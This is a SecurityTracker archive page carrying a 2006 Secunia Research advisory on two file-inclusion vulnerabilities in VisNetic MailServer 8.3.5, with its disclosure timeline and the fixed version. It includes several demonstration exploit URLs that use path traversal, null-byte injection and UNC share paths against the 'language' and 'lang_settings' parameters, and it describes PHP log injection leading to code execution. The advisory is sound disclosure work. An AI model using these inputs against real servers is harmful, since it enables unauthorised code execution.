SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (E-mail Server)  >   VisNetic MailServer Vendors:   Deerfield.com
VisNetic MailServer Include File Bug in 'language' and Other Parameters Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016514
SecurityTracker URL:  http://securitytracker.com/id/1016514
CVE Reference:   CVE-2006-0817, CVE-2006-0818   (Links to External Site)
Date:  Jul 18 2006
Impact:   Execution of arbitrary code via network, User access via network
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 8.3.5
Description:   A vulnerability was reported in VisNetic MailServer. A remote user can include and execute arbitrary files on the target system.

The software does not properly validate user-supplied input. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a file on the target system. The PHP code, including operating system commands, will run with the privileges of the target web service.

The 'language' and 'lang_settings' parameters in '/accounts/inc/include.php' and '/admin/inc/include.php' are affected.

A demonstration exploit URL is provided:

http://[target]:32000/admin/inc/include.php?language=0&lang_settings[0][1]=c:\[file]%00

The 'language' parameter in '/mail/settings.html' is affected.

A demonstration exploit URL is provided:

http://[target]:32000/mail/index.html?id=[curent_id]&lang_settings[TEST]=test;
&lang_settings[TEST]=test;c:\[file]%00;

The vendor was notified on February 21, 2006.

Tan Chew Keong of Secunia Research discovered this vulnerability.

Impact:   A remote user may be able to execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   The vendor has issued a fixed version (8.5.0.5).
Vendor URL:  www.deerfield.com/products/visnetic-mailserver/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Secunia Research: VisNetic Mail Server Two File Inclusion

====================================================================== 

                     Secunia Research 17/07/2006

     - VisNetic Mail Server Two File Inclusion Vulnerabilities -

====================================================================== 
Table of Contents

Affected Software....................................................1
Severity.............................................................2
Description of Vulnerability.........................................3
Solution.............................................................4
Time Table...........................................................5
Credits..............................................................6
References...........................................................7
About Secunia........................................................8
Verification.........................................................9

====================================================================== 
1) Affected Software 

* Visnetic Mail Server version 8.3.5.

Other versions may also be affected.

====================================================================== 
2) Severity 

Rating: Highly Critical
Impact: System access
        Exposure of sensitive information
Where:  Remote

====================================================================== 
3) Description of Vulnerability

Secunia Research has discovered two vulnerabilities in Visnetic Mail
Server, which can be exploited by malicious users and by malicious
people to disclose potentially sensitive information and to compromise
a vulnerable system.

1) Input passed to the "language" and "lang_settings" parameters in
"/accounts/inc/include.php" and "/admin/inc/include.php" isn't
properly sanitised by the "securepath()" function before being used to
include files. This can be exploited to include arbitrary files from
local resources on the Windows platform using full pathnames.  This
can further be exploited to execute arbitrary PHP code by injecting
the code into the mail server's log file and including it.

Example:
http://[host]:32000/admin/inc/include.php?
language=0&lang_settings[0][1]=c:\[file]%00

The vulnerability is related to #1 in:
SA17865

Successful exploitation allows execution of arbitrary PHP code on
a vulnerable server without requiring authentication.

2) Input passed to the "language" parameter in "/mail/settings.html"
isn't properly validated before being saved to the database. This can
be exploited in conjunction with overwrite of the "lang_settings"
variable, which isn't properly sanitised by the "validatefolder()"
function, to include arbitrary files from local resources using
full pathnames, and from remote Windows shared folders using UNC
pathnames.

Examples:
http://[host]:32000/mail/settings.html?
id=[current_id]&Save_x=1&language=TEST
http://[host]:32000/mail/index.html?
id=[curent_id]&lang_settings[TEST]=test;
&lang_settings[TEST]=test;c:\[file]%00;
http://[host]:32000/mail/index.html
?id=[curent_id]&lang_settings[TEST]=test;
&lang_settings[TEST]=test;\\[host]\[share]\[file]%00;

Successful exploitation allows execution of arbitrary PHP code on a
vulnerable server but requires a valid logon.

The vulnerability is related to #3 in:
SA17865

====================================================================== 
4) Solution 

Update to version 8.5.0.5.

====================================================================== 
5) Time Table 

21/02/2006 - Initial vendor notification.
21/02/2006 - Initial vendor reply.
01/06/2006 - Vendor reminder.
20/06/2006 - Vendor reminder.
13/07/2006 - Vendor reminder.
14/07/2006 - Fixed version released.
17/07/2006 - Public disclosure.

====================================================================== 
6) Credits 

Discovered by Tan Chew Keong, Secunia Research.

====================================================================== 
7) References

SA17865:
http://secunia.com/advisories/17865/

The Common Vulnerabilities and Exposures (CVE) project has assigned
CVE-2006-0817 (#1) and CVE-2006-0818 (#2) for the vulnerabilities.

====================================================================== 
8) About Secunia 

Secunia collects, validates, assesses, and writes advisories regarding 
all the latest software vulnerabilities disclosed to the public. These 
advisories are gathered in a publicly available database at the 
Secunia website: 

http://secunia.com/

Secunia offers services to our customers enabling them to receive all 
relevant vulnerability information to their specific system 
configuration. 

Secunia offers a FREE mailing list called Secunia Security Advisories: 

http://secunia.com/secunia_security_advisories/

====================================================================== 
9) Verification 

Please verify this advisory by visiting the Secunia website:
http://secunia.com/secunia_research/2006-14/advisory/

Complete list of vulnerability reports published by Secunia Research:
http://secunia.com/secunia_research/

======================================================================



 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC